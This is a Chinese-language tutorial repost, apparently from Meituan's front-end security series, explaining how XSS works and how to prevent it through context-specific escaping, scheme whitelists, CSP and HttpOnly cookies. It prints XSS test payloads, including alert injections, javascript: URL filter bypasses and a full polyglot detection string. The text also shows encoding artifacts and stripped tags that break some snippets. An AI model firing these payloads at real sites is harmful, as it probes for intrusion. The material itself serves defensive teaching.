這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)如何防止XSS攻擊,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
創(chuàng)新互聯(lián)建站專業(yè)為企業(yè)提供青陽(yáng)網(wǎng)站建設(shè)、青陽(yáng)做網(wǎng)站、青陽(yáng)網(wǎng)站設(shè)計(jì)、青陽(yáng)網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、青陽(yáng)企業(yè)網(wǎng)站模板建站服務(wù),10余年青陽(yáng)做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。
隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問(wèn)題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問(wèn)題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問(wèn)題之外,又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問(wèn)題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來(lái)增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。
近幾年,美團(tuán)業(yè)務(wù)高速發(fā)展,前端隨之面臨很多安全挑戰(zhàn),因此積累了大量的實(shí)踐經(jīng)驗(yàn)。我們梳理了常見(jiàn)的前端安全問(wèn)題以及對(duì)應(yīng)的解決方案,將會(huì)做成一個(gè)系列,希望可以幫助前端人員在日常開發(fā)中不斷預(yù)防和修復(fù)安全漏洞。
我們會(huì)講解 XSS ,主要包括:
1.XSS 攻擊的介紹
2.XSS 攻擊的分類
3.XSS 攻擊的預(yù)防和檢測(cè)
4.XSS 攻擊的總結(jié)
5.XSS 攻擊案例
在開始本文之前,我們先提出一個(gè)問(wèn)題,請(qǐng)判斷以下兩個(gè)說(shuō)法是否正確:
1.XSS 防范是后端 RD(研發(fā)人員)的責(zé)任,后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口,對(duì)敏感字符進(jìn)行轉(zhuǎn)義,才能進(jìn)行下一步操作。
2.所有要插入到頁(yè)面上的數(shù)據(jù),都要通過(guò)一個(gè)敏感字符過(guò)濾函數(shù)的轉(zhuǎn)義,過(guò)濾掉通用的敏感字符后,就可以插入到頁(yè)面中。
如果你還不能確定答案,那么可以帶著這些問(wèn)題向下看,我們將逐步拆解問(wèn)題。
XSS 攻擊是頁(yè)面被注入了惡意的代碼,為了更形象的介紹,我們用發(fā)生在小明同學(xué)身邊的事例來(lái)進(jìn)行說(shuō)明。
某天,公司需要一個(gè)搜索頁(yè)面,根據(jù) URL 參數(shù)決定關(guān)鍵詞的內(nèi)容。小明很快把頁(yè)面寫好并且上線。代碼如下:
< input type = "text" value = "<%= getParameter(" keyword ") %> ">
< button > 搜索 button >
< div >
您搜索的關(guān)鍵詞是: < %= getParameter (" keyword ") %>
div >
然而,在上線后不久,小明就接到了安全組發(fā)來(lái)的一個(gè)神秘鏈接:
http://xxx/search?keyword=">
小明帶著一種不祥的預(yù)感點(diǎn)開了這個(gè)鏈接 [請(qǐng)勿模仿,確認(rèn)安全的鏈接才能點(diǎn)開] 。果然,頁(yè)面中彈出了寫著"XSS"的對(duì)話框。
可惡,中招了!小明眉頭一皺,發(fā)現(xiàn)了其中的奧秘:
當(dāng)瀏覽器請(qǐng)求 http://xxx/search?keyword=">
時(shí),服務(wù)端會(huì)解析出請(qǐng)求參數(shù) keyword
,得到 ">
,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:
< input type = "text" value = "" > < script > alert( 'XSS' ); script > ">
< button > 搜索 button >
< div >
您搜索的關(guān)鍵詞是:"> < script > alert( 'XSS' ); script >
div >
瀏覽器無(wú)法分辨出 是惡意代碼,因而將其執(zhí)行。
這里不僅僅 div 的內(nèi)容被注入了,而且 input 的 value 屬性也被注入, alert 會(huì)彈出兩次。
面對(duì)這種情況,我們應(yīng)該如何進(jìn)行防范呢?
其實(shí),這只是瀏覽器把用戶的輸入當(dāng)成了腳本進(jìn)行了執(zhí)行。那么只要告訴瀏覽器這段內(nèi)容是文本就可以了。
聰明的小明很快找到解決方法,把這個(gè)漏洞修復(fù):
< input type = "text" value = "<%= escapeHTML(getParameter(" keyword ")) %> ">
< button > 搜索 button >
< div >
您搜索的關(guān)鍵詞是: < %= escapeHTML ( getParameter (" keyword ")) %>
div >
escapeHTML()
按照如下規(guī)則進(jìn)行轉(zhuǎn)義:
|字符|轉(zhuǎn)義后的字符|
|-|-|
|&
|&amp;
|
|<
|&lt;
|
|>
|&gt;
|
|"
|&quot;
|
|'
|&#x27;
|
|/
|&#x2F;
|
經(jīng)過(guò)了轉(zhuǎn)義函數(shù)的處理后,最終瀏覽器接收到的響應(yīng)為:
< input type = "text" value = "&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;" >
< button > 搜索 button >
< div >
您搜索的關(guān)鍵詞是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
div >
惡意代碼都被轉(zhuǎn)義,不再被瀏覽器執(zhí)行,而且搜索詞能夠完美的在頁(yè)面顯示出來(lái)。
通過(guò)這個(gè)事件,小明學(xué)習(xí)到了如下知識(shí):
通常頁(yè)面中包含的用戶輸入內(nèi)容都在固定的容器或者屬性內(nèi),以文本的形式展示。
攻擊者利用這些頁(yè)面的用戶輸入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代碼片段。
攻擊者通過(guò)在目標(biāo)網(wǎng)站上注入腳本,使之在用戶的瀏覽器上運(yùn)行,從而引發(fā)潛在風(fēng)險(xiǎn)。
通過(guò) HTML 轉(zhuǎn)義,可以防止 XSS 攻擊。 [事情當(dāng)然沒(méi)有這么簡(jiǎn)單啦!請(qǐng)繼續(xù)往下看] 。
自從上次事件之后,小明會(huì)小心的把插入到頁(yè)面中的數(shù)據(jù)進(jìn)行轉(zhuǎn)義。而且他還發(fā)現(xiàn)了大部分模板都帶有的轉(zhuǎn)義配置,讓所有插入到頁(yè)面中的數(shù)據(jù)都默認(rèn)進(jìn)行轉(zhuǎn)義。這樣就不怕不小心漏掉未轉(zhuǎn)義的變量啦,于是小明的工作又漸漸變得輕松起來(lái)。
但是,作為導(dǎo)演的我,不可能讓小明這么簡(jiǎn)單、開心地改 Bug 。
不久,小明又收到安全組的神秘鏈接:http://xxx/?redirect_to=javascript:alert('XSS')
。小明不敢大意,趕忙點(diǎn)開頁(yè)面。然而,頁(yè)面并沒(méi)有自動(dòng)彈出萬(wàn)惡的“XSS”。
小明打開對(duì)應(yīng)頁(yè)面的源碼,發(fā)現(xiàn)有以下內(nèi)容:
< a href = "<%= escapeHTML(getParameter(" redirect_to ")) %> ">跳轉(zhuǎn)... a >
這段代碼,當(dāng)攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS')
,服務(wù)端響應(yīng)就成了:
< a href = "javascript:alert(&#x27;XSS&#x27;)" > 跳轉(zhuǎn)... a >
雖然代碼不會(huì)立即執(zhí)行,但一旦用戶點(diǎn)擊 a
標(biāo)簽時(shí),瀏覽器會(huì)就會(huì)彈出“XSS”。
可惡,又失策了…
在這里,用戶的數(shù)據(jù)并沒(méi)有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內(nèi)容并不是我們所預(yù)期的類型。
原來(lái)不僅僅是特殊字符,連 javascript:
這樣的字符串如果出現(xiàn)在特定的位置也會(huì)引發(fā) XSS 攻擊。
小明眉頭一皺,想到了解決辦法:
// 禁止 URL 以 "javascript:" 開頭
xss = getParameter( "redirect_to" ).startsWith( 'javascript:' );
if (!xss) {
" >
跳轉(zhuǎn)...
} else {
跳轉(zhuǎn)...
}
只要 URL 的開頭不是 javascript:
,就安全了吧?
安全組隨手又扔了一個(gè)連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
這也能執(zhí)行?…..好吧,瀏覽器就是這么強(qiáng)大。
小明欲哭無(wú)淚,在判斷 URL 開頭是否為 javascript:
時(shí),先把用戶輸入轉(zhuǎn)成了小寫,然后再進(jìn)行比對(duì)。
不過(guò),所謂“道高一尺,魔高一丈”。面對(duì)小明的防護(hù)策略,安全組就構(gòu)造了這樣一個(gè)連接:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS')
經(jīng)過(guò) URL 解析后變成 javascript:alert('XSS')
,這個(gè)字符串以空格開頭。這樣攻擊者可以繞過(guò)后端的關(guān)鍵詞規(guī)則,又成功的完成了注入。
最終,小明選擇了白名單的方法,徹底解決了這個(gè)漏洞:
// 根據(jù)項(xiàng)目情況進(jìn)行過(guò)濾,禁止掉 "javascript:" 鏈接、非法 scheme 等
allowSchemes = [ "http" , "https" ];
valid = isValid(getParameter( "redirect_to" ), allowSchemes);
if (valid) {
" >
跳轉(zhuǎn)...
} else {
跳轉(zhuǎn)...
}
通過(guò)這個(gè)事件,小明學(xué)習(xí)到了如下知識(shí):
1.做了 HTML 轉(zhuǎn)義,并不等于高枕無(wú)憂。
2.對(duì)于鏈接跳轉(zhuǎn),如 &lt;a href="xxx"
或 location.href="xxx"
,要檢驗(yàn)其內(nèi)容,禁止以 javascript:
開頭的鏈接,和其他非法的 scheme。
某天,小明為了加快網(wǎng)頁(yè)的加載速度,把一個(gè)數(shù)據(jù)通過(guò) JSON 的方式內(nèi)聯(lián)到 HTML 中:
< script >
var initData = < %= data.toJSON () %>
script >
插入 JSON 的地方不能使用 escapeHTML()
,因?yàn)檗D(zhuǎn)義 "
后,JSON 格式會(huì)被破壞。
但安全組又發(fā)現(xiàn)有漏洞,原來(lái)這樣內(nèi)聯(lián) JSON 也是不安全的:
1.當(dāng) JSON 中包含 U+2028
或 U+2029
這兩個(gè)字符時(shí),不能作為 JavaScript 的字面量使用,否則會(huì)拋出語(yǔ)法錯(cuò)誤。
2.當(dāng) JSON 中包含字符串 時(shí),當(dāng)前的 script 標(biāo)簽將會(huì)被閉合,后面的字符串內(nèi)容瀏覽器會(huì)按照 HTML 進(jìn)行解析;通過(guò)增加下一個(gè) 標(biāo)簽等方法就可以完成注入。
于是我們又要實(shí)現(xiàn)一個(gè) escapeEmbedJSON()
函數(shù),對(duì)內(nèi)聯(lián) JSON 進(jìn)行轉(zhuǎn)義。
轉(zhuǎn)義規(guī)則如下:
|字符|轉(zhuǎn)義后的字符|
|-|-|
|U+2028
|\u2028
|
|U+2029
|\u2029
|
|<
|\u003c
|
修復(fù)后的代碼如下:
< script >
var initData = < %= escapeEmbedJSON ( data.toJSON ()) %>
通過(guò)這個(gè)事件,小明學(xué)習(xí)到了如下知識(shí):
1.HTML 轉(zhuǎn)義是非常復(fù)雜的,在不同的情況下要采用不同的轉(zhuǎn)義規(guī)則。如果采用了錯(cuò)誤的轉(zhuǎn)義規(guī)則,很有可能會(huì)埋下 XSS 隱患。
2.應(yīng)當(dāng)盡量避免自己寫轉(zhuǎn)義庫(kù),而應(yīng)當(dāng)采用成熟的、業(yè)界通用的轉(zhuǎn)義庫(kù)。
小明的例子講完了,下面我們來(lái)系統(tǒng)的看下 XSS 有哪些注入的方法:
在 HTML 中內(nèi)嵌的文本中,惡意內(nèi)容以 script 標(biāo)簽形成注入。
在內(nèi)聯(lián)的 JavaScript 中,拼接的數(shù)據(jù)突破了原本的限制(字符串,變量,方法名等)。
在標(biāo)簽屬性中,惡意內(nèi)容包含引號(hào),從而突破屬性值的限制,注入其他屬性或者標(biāo)簽。
在標(biāo)簽的 href、src 等屬性中,包含
javascript:
等可執(zhí)行代碼。在 onload、onerror、onclick 等事件中,注入不受控制代碼。
在 style 屬性和標(biāo)簽中,包含類似
background-image:url("javascript:…");
的代碼(新版本瀏覽器已經(jīng)可以防范)。在 style 屬性和標(biāo)簽中,包含類似
expression(…)
的 CSS 表達(dá)式代碼(新版本瀏覽器已經(jīng)可以防范)。
總之,如果開發(fā)者沒(méi)有將用戶輸入的文本進(jìn)行合適的過(guò)濾,就貿(mào)然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構(gòu)造出惡意的代碼指令,進(jìn)而利用惡意代碼危害數(shù)據(jù)安全。
通過(guò)上述幾個(gè)例子,我們已經(jīng)對(duì) XSS 有了一些認(rèn)識(shí)。
Cross-Site Scripting(跨站腳本攻擊)簡(jiǎn)稱 XSS,是一種代碼注入攻擊。攻擊者通過(guò)在目標(biāo)網(wǎng)站上注入惡意腳本,使之在用戶的瀏覽器上運(yùn)行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進(jìn)而危害數(shù)據(jù)安全。
為了和 CSS 區(qū)分,這里把攻擊的第一個(gè)字母改成了 X,于是叫做 XSS。
XSS 的本質(zhì)是:惡意代碼未經(jīng)過(guò)濾,與網(wǎng)站正常的代碼混在一起;瀏覽器無(wú)法分辨哪些腳本是可信的,導(dǎo)致惡意腳本被執(zhí)行。
而由于直接在用戶的終端執(zhí)行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網(wǎng)站發(fā)起攻擊者定義的請(qǐng)求。
在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過(guò)引入外部的腳本,并由瀏覽器執(zhí)行,來(lái)完成比較復(fù)雜的攻擊策略。
這里有一個(gè)問(wèn)題:用戶是通過(guò)哪種方法“注入”惡意腳本的呢?
不僅僅是業(yè)務(wù)上的“用戶的 UGC 內(nèi)容”可以進(jìn)行注入,包括 URL 上的參數(shù)等都可以是攻擊的來(lái)源。在處理輸入時(shí),以下內(nèi)容都不可信:
來(lái)自用戶的 UGC 信息
來(lái)自第三方的鏈接
URL 參數(shù)
POST 參數(shù)
Referer (可能來(lái)自不可信的來(lái)源)
Cookie (可能來(lái)自其他子域注入)
根據(jù)攻擊的來(lái)源,XSS 攻擊可分為存儲(chǔ)型、反射型和 DOM 型三種。
|類型|存儲(chǔ)區(qū)|插入點(diǎn)|
|-|-|
|存儲(chǔ)型 XSS|后端數(shù)據(jù)庫(kù)|HTML|
|反射型 XSS|URL|HTML|
|DOM 型 XSS|后端數(shù)據(jù)庫(kù)/前端存儲(chǔ)/URL|前端 JavaScript|
存儲(chǔ)區(qū):惡意代碼存放的位置。
插入點(diǎn):由誰(shuí)取得惡意代碼,并插入到網(wǎng)頁(yè)上。
存儲(chǔ)型 XSS 的攻擊步驟:
1.攻擊者將惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫(kù)中。
2.用戶打開目標(biāo)網(wǎng)站時(shí),網(wǎng)站服務(wù)端將惡意代碼從數(shù)據(jù)庫(kù)取出,拼接在 HTML 中返回給瀏覽器。
3.用戶瀏覽器接收到響應(yīng)后解析執(zhí)行,混在其中的惡意代碼也被執(zhí)行。
4.惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。
這種攻擊常見(jiàn)于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖、商品評(píng)論、用戶私信等。
反射型 XSS 的攻擊步驟:
1.攻擊者構(gòu)造出特殊的 URL,其中包含惡意代碼。
2.用戶打開帶有惡意代碼的 URL 時(shí),網(wǎng)站服務(wù)端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
3.用戶瀏覽器接收到響應(yīng)后解析執(zhí)行,混在其中的惡意代碼也被執(zhí)行。
4.惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。
反射型 XSS 跟存儲(chǔ)型 XSS 的區(qū)別是:存儲(chǔ)型 XSS 的惡意代碼存在數(shù)據(jù)庫(kù)里,反射型 XSS 的惡意代碼存在 URL 里。
反射型 XSS 漏洞常見(jiàn)于通過(guò) URL 傳遞參數(shù)的功能,如網(wǎng)站搜索、跳轉(zhuǎn)等。
由于需要用戶主動(dòng)打開惡意的 URL 才能生效,攻擊者往往會(huì)結(jié)合多種手段誘導(dǎo)用戶點(diǎn)擊。
POST 的內(nèi)容也可以觸發(fā)反射型 XSS,只不過(guò)其觸發(fā)條件比較苛刻(需要構(gòu)造表單提交頁(yè)面,并引導(dǎo)用戶點(diǎn)擊),所以非常少見(jiàn)。
DOM 型 XSS 的攻擊步驟:
1.攻擊者構(gòu)造出特殊的 URL,其中包含惡意代碼。
2.用戶打開帶有惡意代碼的 URL。
3.用戶瀏覽器接收到響應(yīng)后解析執(zhí)行,前端 JavaScript 取出 URL 中的惡意代碼并執(zhí)行。
4.惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。
DOM 型 XSS 跟前兩種 XSS 的區(qū)別:DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務(wù)端的安全漏洞。
通過(guò)前面的介紹可以得知,XSS 攻擊有兩大要素:
1.攻擊者提交惡意代碼。
2.瀏覽器執(zhí)行惡意代碼。
針對(duì)第一個(gè)要素:我們是否能夠在用戶輸入的過(guò)程,過(guò)濾掉用戶輸入的惡意代碼呢?
在用戶提交時(shí),由前端過(guò)濾輸入,然后提交到后端。這樣做是否可行呢?
答案是不可行。一旦攻擊者繞過(guò)前端過(guò)濾,直接構(gòu)造請(qǐng)求,就可以提交惡意代碼了。
那么,換一個(gè)過(guò)濾時(shí)機(jī):后端在寫入數(shù)據(jù)庫(kù)前,對(duì)輸入進(jìn)行過(guò)濾,然后把“安全的”內(nèi)容,返回給前端。這樣是否可行呢?
我們舉一個(gè)例子,一個(gè)正常的用戶輸入了 5 < 7
這個(gè)內(nèi)容,在寫入數(shù)據(jù)庫(kù)前,被轉(zhuǎn)義,變成了 5 &lt; 7
。
問(wèn)題是:在提交階段,我們并不確定內(nèi)容要輸出到哪里。
這里的“并不確定內(nèi)容要輸出到哪里”有兩層含義:
1.用戶的輸入內(nèi)容可能同時(shí)提供給前端和客戶端,而一旦經(jīng)過(guò)了escapeHTML()
,客戶端顯示的內(nèi)容就變成了亂碼( 5 &lt; 7
)。
2.在前端中,不同的位置所需的編碼也不同。
當(dāng) 5 &lt; 7
作為 HTML 拼接頁(yè)面時(shí),可以正常顯示:< div title = "comment" > 5 &lt; 7 div >。
當(dāng) 5 &lt; 7
通過(guò) Ajax 返回,然后賦值給 JavaScript 的變量時(shí),前端得到的字符串就是轉(zhuǎn)義后的字符。這個(gè)內(nèi)容不能直接用于 Vue 等模板的展示,也不能直接用于內(nèi)容長(zhǎng)度計(jì)算。不能用于標(biāo)題、alert 等。
所以,輸入側(cè)過(guò)濾能夠在某些情況下解決特定的 XSS 問(wèn)題,但會(huì)引入很大的不確定性和亂碼問(wèn)題。在防范 XSS 攻擊時(shí)應(yīng)避免此類方法。
當(dāng)然,對(duì)于明確的輸入類型,例如數(shù)字、URL、電話號(hào)碼、郵件地址等等內(nèi)容,進(jìn)行輸入過(guò)濾還是必要的。
既然輸入過(guò)濾并非完全可靠,我們就要通過(guò)“防止瀏覽器執(zhí)行惡意代碼”來(lái)防范 XSS。這部分分為兩類:
1.防止 HTML 中出現(xiàn)注入。
2.防止 JavaScript 執(zhí)行時(shí),執(zhí)行惡意代碼。
存儲(chǔ)型和反射型 XSS 都是在服務(wù)端取出惡意代碼后,插入到響應(yīng) HTML 里的,攻擊者刻意編寫的“數(shù)據(jù)”被內(nèi)嵌到“代碼”中,被瀏覽器所執(zhí)行。
預(yù)防這兩種漏洞,有兩種常見(jiàn)做法:
1.改成純前端渲染,把代碼和數(shù)據(jù)分隔開。
2.對(duì) HTML 做充分轉(zhuǎn)義。
純前端渲染的過(guò)程:
1.瀏覽器先加載一個(gè)靜態(tài) HTML,此 HTML 中不包含任何跟業(yè)務(wù)相關(guān)的數(shù)據(jù)。
2.然后瀏覽器執(zhí)行 HTML 中的 JavaScript。
3.JavaScript 通過(guò) Ajax 加載業(yè)務(wù)數(shù)據(jù),調(diào)用 DOM API 更新到頁(yè)面上。
在純前端渲染中,我們會(huì)明確的告訴瀏覽器:下面要設(shè)置的內(nèi)容是文本(.innerText
),還是屬性(.setAttribute
),還是樣式(.style
)等等。瀏覽器不會(huì)被輕易的被欺騙,執(zhí)行預(yù)期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload
事件和 href
中的 javascript:xxx
等,請(qǐng)參考下文”預(yù)防 DOM 型 XSS 攻擊“部分)。
在很多內(nèi)部、管理系統(tǒng)中,采用純前端渲染是非常合適的。但對(duì)于性能要求高,或有 SEO 需求的頁(yè)面,我們?nèi)匀灰鎸?duì)拼接 HTML 的問(wèn)題。
如果拼接 HTML 是必要的,就需要采用合適的轉(zhuǎn)義庫(kù),對(duì) HTML 模板各處插入點(diǎn)進(jìn)行充分的轉(zhuǎn)義。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對(duì)于 HTML 轉(zhuǎn)義通常只有一個(gè)規(guī)則,就是把 & < > " ' /
這幾個(gè)字符轉(zhuǎn)義掉,確實(shí)能起到一定的 XSS 防護(hù)作用,但并不完善:
|XSS 安全漏洞|簡(jiǎn)單轉(zhuǎn)義是否有防護(hù)作用|
|-|-|
|HTML 標(biāo)簽文字內(nèi)容|有|
|HTML 屬性值|有|
|CSS 內(nèi)聯(lián)樣式|無(wú)|
|內(nèi)聯(lián) JavaScript|無(wú)|
|內(nèi)聯(lián) JSON|無(wú)|
|跳轉(zhuǎn)鏈接|無(wú)|
所以要完善 XSS 防護(hù)措施,我們要使用更完善更細(xì)致的轉(zhuǎn)義策略。
例如 Java 工程里,常用的轉(zhuǎn)義庫(kù)為 org.owasp.encoder
。以下代碼引用自 org.owasp.encoder 的官方說(shuō)明。
< div > < %= Encode.forHtml ( UNTRUSTED ) %> div >
< input value = "<%= Encode.forHtml(UNTRUSTED) %>" />
< div style = "width:<= Encode.forCssString(UNTRUSTED) %>" >
< div style = "background:<= Encode.forCssUrl(UNTRUSTED) %>" >
< script >
var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>" ;
alert(msg);
script >
< script >
var __INITIAL_STATE__ = JSON .parse( '<%= Encoder.forJavaScript(data.to_json) %>' );
script >
< button
onclick = "alert('<%= Encode.forJavaScript(UNTRUSTED) %>');" >
click me
button >
< a href = "/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top" >
< a href = "/page/<%= Encode.forUriComponent(UNTRUSTED) %>" >
< a href = '<%=
urlValidator.isValid(UNTRUSTED) ?
Encode.forHtml(UNTRUSTED) :
"/404"
%>' >
link
a >
可見(jiàn),HTML 的編碼是十分復(fù)雜的,在不同的上下文里要使用相應(yīng)的轉(zhuǎn)義規(guī)則。
DOM 型 XSS 攻擊,實(shí)際上就是網(wǎng)站前端 JavaScript 代碼本身不夠嚴(yán)謹(jǐn),把不可信的數(shù)據(jù)當(dāng)作代碼執(zhí)行了。
在使用 .innerHTML
、.outerHTML
、document.write()
時(shí)要特別小心,不要把不可信的數(shù)據(jù)作為 HTML 插到頁(yè)面上,而應(yīng)盡量使用 .textContent
、.setAttribute()
等。
如果用 Vue/React 技術(shù)棧,并且不使用 v-html
/dangerouslySetInnerHTML
功能,就在前端 render 階段避免 innerHTML
、outerHTML
的 XSS 隱患。
DOM 中的內(nèi)聯(lián)事件監(jiān)聽器,如 location
、onclick
、onerror
、onload
、onmouseover
等, 標(biāo)簽的
href
屬性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字符串作為代碼運(yùn)行。如果不可信的數(shù)據(jù)拼接到字符串中傳遞給這些 API,很容易產(chǎn)生安全隱患,請(qǐng)務(wù)必避免。
< img onclick = "UNTRUSTED" onerror = "UNTRUSTED" src = "data:image/png," >
< a href = "UNTRUSTED" > 1 a >
< script >
// setTimeout()/setInterval() 中調(diào)用惡意代碼
setTimeout( "UNTRUSTED" )
setInterval( "UNTRUSTED" )
// location 調(diào)用惡意代碼
location.href = 'UNTRUSTED'
// eval() 中調(diào)用惡意代碼
eval ( "UNTRUSTED" )
script >
如果項(xiàng)目中有用到這些的話,一定要避免在字符串中拼接不可信數(shù)據(jù)。
雖然在渲染頁(yè)面和執(zhí)行 JavaScript 時(shí),通過(guò)謹(jǐn)慎的轉(zhuǎn)義可以防止 XSS 的發(fā)生,但完全依靠開發(fā)的謹(jǐn)慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來(lái)的風(fēng)險(xiǎn)和后果。
嚴(yán)格的 CSP 在 XSS 的防范中可以起到以下的作用:
禁止加載外域代碼,防止復(fù)雜的攻擊邏輯。
禁止外域提交,網(wǎng)站被攻擊后,用戶的數(shù)據(jù)不會(huì)泄露到外域。
禁止內(nèi)聯(lián)腳本執(zhí)行(規(guī)則較嚴(yán)格,目前發(fā)現(xiàn) GitHub 使用)。
禁止未授權(quán)的腳本執(zhí)行(新特性,Google Map 移動(dòng)版在使用)。
合理使用上報(bào)可以及時(shí)發(fā)現(xiàn) XSS,利于盡快修復(fù)問(wèn)題。
關(guān)于 CSP 的詳情,請(qǐng)關(guān)注前端安全系列后續(xù)的文章。
對(duì)于不受信任的輸入,都應(yīng)該限定一個(gè)合理的長(zhǎng)度。雖然無(wú)法完全防止 XSS 發(fā)生,但可以增加 XSS 攻擊的難度。
HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無(wú)法竊取此 Cookie。
驗(yàn)證碼:防止腳本冒充用戶提交危險(xiǎn)操作。
上述經(jīng)歷讓小明收獲頗豐,他也學(xué)會(huì)了如何去預(yù)防和修復(fù) XSS 漏洞,在日常開發(fā)中也具備了相關(guān)的安全意識(shí)。但對(duì)于已經(jīng)上線的代碼,如何去檢測(cè)其中有沒(méi)有 XSS 漏洞呢?
經(jīng)過(guò)一番搜索,小明找到了兩個(gè)方法:
1.使用通用 XSS 攻擊字符串手動(dòng)檢測(cè) XSS 漏洞。
2.使用掃描工具自動(dòng)檢測(cè) XSS 漏洞。
在Unleashing an Ultimate XSS Polyglot一文中,小明發(fā)現(xiàn)了這么一個(gè)字符串:
jaVasCript: /*-/*`/*\`/*'/*"/**/ ( /* */ oNcliCk=alert() ) //%0D%0A%0d%0a//\x3csVg/\x3e
它能夠檢測(cè)到存在于 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測(cè) eval()
、setTimeout()
、setInterval()
、Function()
、innerHTML
、document.write()
等 DOM 型 XSS 漏洞,并且能繞過(guò)一些 XSS 過(guò)濾器。
小明只要在網(wǎng)站的各輸入框中提交這個(gè)字符串,或者把它拼接到 URL 參數(shù)上,就可以進(jìn)行檢測(cè)了。
http ://xxx/search?keyword=jaVasCript %3 A %2 F*- %2 F* %60 %2 F* %60 %2 F* %27 %2 F* %22 %2 F** %2 F( %2 F* %20 * %2 FoNcliCk %3 Dalert() %20 ) %2 F %2 F %250 D %250 A %250 d %250 a %2 F %2 F %3 C %2 FstYle %2 F %3 C %2 FtitLe %2 F %3 C %2 FteXtarEa %2 F %3 C %2 FscRipt %2 F--! %3 E %3 CsVg %2 F %3 CsVg %2 FoNloAd %3 Dalert() %2 F %2 F %3 E %3 E
除了手動(dòng)檢測(cè)之外,還可以使用自動(dòng)掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。
我們回到最開始提出的問(wèn)題,相信同學(xué)們已經(jīng)有了答案:
1.XSS 防范是后端 RD 的責(zé)任,后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口,對(duì)敏感字符進(jìn)行轉(zhuǎn)義,才能進(jìn)行下一步操作。
不正確。因?yàn)椋?/p>
防范存儲(chǔ)型和反射型 XSS 是后端 RD 的責(zé)任。而 DOM 型 XSS 攻擊不發(fā)生在后端,是前端 RD 的責(zé)任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統(tǒng)工程。
轉(zhuǎn)義應(yīng)該在輸出 HTML 時(shí)進(jìn)行,而不是在提交用戶輸入時(shí)。
2.所有要插入到頁(yè)面上的數(shù)據(jù),都要通過(guò)一個(gè)敏感字符過(guò)濾函數(shù)的轉(zhuǎn)義,過(guò)濾掉通用的敏感字符后,就可以插入到頁(yè)面中。
不正確。
不同的上下文,如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等,所需要的轉(zhuǎn)義規(guī)則不一致。
業(yè)務(wù) RD 需要選取合適的轉(zhuǎn)義庫(kù),并針對(duì)不同的上下文調(diào)用不同的轉(zhuǎn)義規(guī)則。
整體的 XSS 防范是非常復(fù)雜和繁瑣的,我們不僅需要在全部需要轉(zhuǎn)義的位置,對(duì)數(shù)據(jù)進(jìn)行對(duì)應(yīng)的轉(zhuǎn)義。而且要防止多余和錯(cuò)誤的轉(zhuǎn)義,避免正常的用戶輸入出現(xiàn)亂碼。
雖然很難通過(guò)技術(shù)手段完全避免 XSS,但我們可以總結(jié)以下原則減少漏洞的產(chǎn)生:
利用模板引擎
